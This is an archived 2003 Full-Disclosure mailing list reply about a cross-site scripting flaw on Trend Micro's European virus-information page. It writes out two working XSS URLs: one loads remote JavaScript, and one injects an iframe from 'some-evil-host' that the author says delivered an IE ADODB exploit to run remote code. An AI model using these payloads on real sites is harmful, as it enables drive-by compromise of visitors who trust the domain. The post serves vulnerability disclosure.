[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <Law11-OE214ZojADXR200003456@hotmail.com>
From: se_cur_ity at hotmail.com (morning_wood)
Subject: Selfmade worms in the wild ;)
well... lets see, we could make it an untrusted link by
"
http://de.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=55756&
VName=WORM_MSBLAST.<script%20language="JavaScript"%20src="http://www.astalavista
.com/backend/news.js"%20type="text/javascript"></script> "
and include some remote javascript of our choice, or the latest IE ADODB explot.
the obvious choice for that would be the classic..
http://de.trendmicro-europe.com/enterprise/security_info/ve_detail.php?id=55756&
VName=WORM_MSBLAST.<iframe
src="http://some-evil-host/script/orhtml/etc/bla/"></iframe>
for everones info, the above was tested with the ADODB exploit to execute
remote code... sucessfully i might add. ( unpatched IE )
this goes to show that XSS is still very much a security concern, especially
coupled together with the lastest browser exploit to become a very dangerous
vector of attack, especially by way of a previously "trusted" URL.
this is not looking real good for trend.
good job Mo 8-)
morning_wood
http://exploitlabs.com
http://e2-labs.com
----- Original Message -----
From: "Redaktion-Kryptocrew" <momolly@...ptocrew.de>
To: <full-disclosure@...ts.netsys.com>
Sent: Friday, August 29, 2003 12:02 AM
Subject: [Full-Disclosure] Selfmade worms in the wild ;)
> You can change id's and names...
> -mo-
> Kryptocrew
> .: your security advisor team :. mailto:momolly@...ptocrew.de
>
Powered by blists - more mailing lists